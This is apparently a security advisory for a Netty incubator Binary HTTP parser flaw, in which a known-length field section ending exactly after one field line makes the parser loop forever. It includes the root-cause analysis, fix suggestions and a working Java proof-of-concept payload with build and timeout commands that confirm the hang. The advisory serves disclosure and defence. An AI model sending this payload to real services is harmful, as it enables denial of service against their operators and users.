Maven · io.netty.incubator:netty-incubator-codec-bhttp
netty-incubator-codec-ohttp: Binary HTTP parser infinite loop on known-length field section boundary
io.netty.incubator:netty-incubator-codec-bhttp can enter a non-terminating parse loop when a known-length Binary HTTP field section ends exactly after a complete field line. A remote peer that can send Binary HTTP input to a Netty pipeline using BinaryHttpParser / BinaryHttpDecoder can use a tiny malformed request or response to keep the parsing thread busy indefinitely, causing denial of service.
In codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java, readFieldSection(...) tracks the remaining field-section length in fieldSectionLength, then repeatedly calls readFieldLine(...) until the length reaches zero:
readFieldSection(...) parses the known-length field section and enters while (fieldSectionLength != 0) at BinaryHttpParser.java:619.readableBytes, calls readFieldLine(...), computes read = readableBytes - in.readableBytes(), asserts read > 0, and subtracts read from fieldSectionLength at BinaryHttpParser.java:620-625.readFieldLine(...) returns null without consuming bytes when the field line ends exactly at the end of the readable slice because it uses if (sumBytes >= in.readableBytes()) return null after adding the value length (BinaryHttpParser.java:678-681).assert read > 0 is not active. The parser therefore subtracts zero forever and never returns.The boundary condition is reachable with a valid known-length field section containing exactly one complete field line and no extra byte after that line. Example field section: length 4, then name length 1, name a, value length 1, value b.
Safe local verification performed in this repository:
./mvnw -q -pl codec-bhttp -am compile test-compile
./mvnw -q -pl codec-bhttp dependency:build-classpath -Dmdep.outputFile=/tmp/codec-bhttp-cp.txt
printf '%s' "codec-bhttp/target/classes:$(cat /tmp/codec-bhttp-cp.txt)" > /tmp/codec-bhttp-run-cp.txt
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.incubator.codec.bhttp.BinaryHttpParser;
import io.netty.incubator.codec.bhttp.VarIntCodecUtils;
import java.nio.charset.StandardCharsets;
public final class VerifyBhttpHang {
private static void writeAscii(ByteBuf out, String value) {
VarIntCodecUtils.writeVariableLengthInteger(out, value.length());
out.writeCharSequence(value, StandardCharsets.US_ASCII);
}
public static void main(String[] args) {
ByteBuf buffer = Unpooled.buffer();
VarIntCodecUtils.writeVariableLengthInteger(buffer, 0); // known-length request
writeAscii(buffer, "GET");
writeAscii(buffer, "https");
writeAscii(buffer, "example.com");
writeAscii(buffer, "/");
VarIntCodecUtils.writeVariableLengthInteger(buffer, 4); // field section length
writeAscii(buffer, "a");
writeAscii(buffer, "b");
new BinaryHttpParser(8192).parse(buffer, false);
System.out.println("returned");
}
}
Execution result observed locally:
timeout 3 java -cp "/tmp:$(cat /tmp/codec-bhttp-run-cp.txt)" VerifyBhttpHang
exit=124
Exit code 124 from timeout confirms the parser did not return within three seconds. When assertions are enabled by Surefire, the same payload fails at BinaryHttpParser.java:622 (assert read > 0), confirming the non-progress condition.
A peer that can deliver crafted BHTTP bytes can cause the parser to loop forever. In Netty deployments this can pin the event-loop thread or worker responsible for the channel, reducing or eliminating availability for other channels on the same event loop. Through OHTTP, the same parser is used after successful decryption of protected payloads, so authenticated/decryptable OHTTP peers can trigger the same condition in the inner BHTTP parser.
readFieldLine(...) == null as incomplete input and return null from readFieldSection(...) instead of continuing.readFieldLine(...) that require an extra byte after a complete field line. A complete field line ending exactly at the known field-section boundary should be accepted.codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:619-625codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:678-681Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.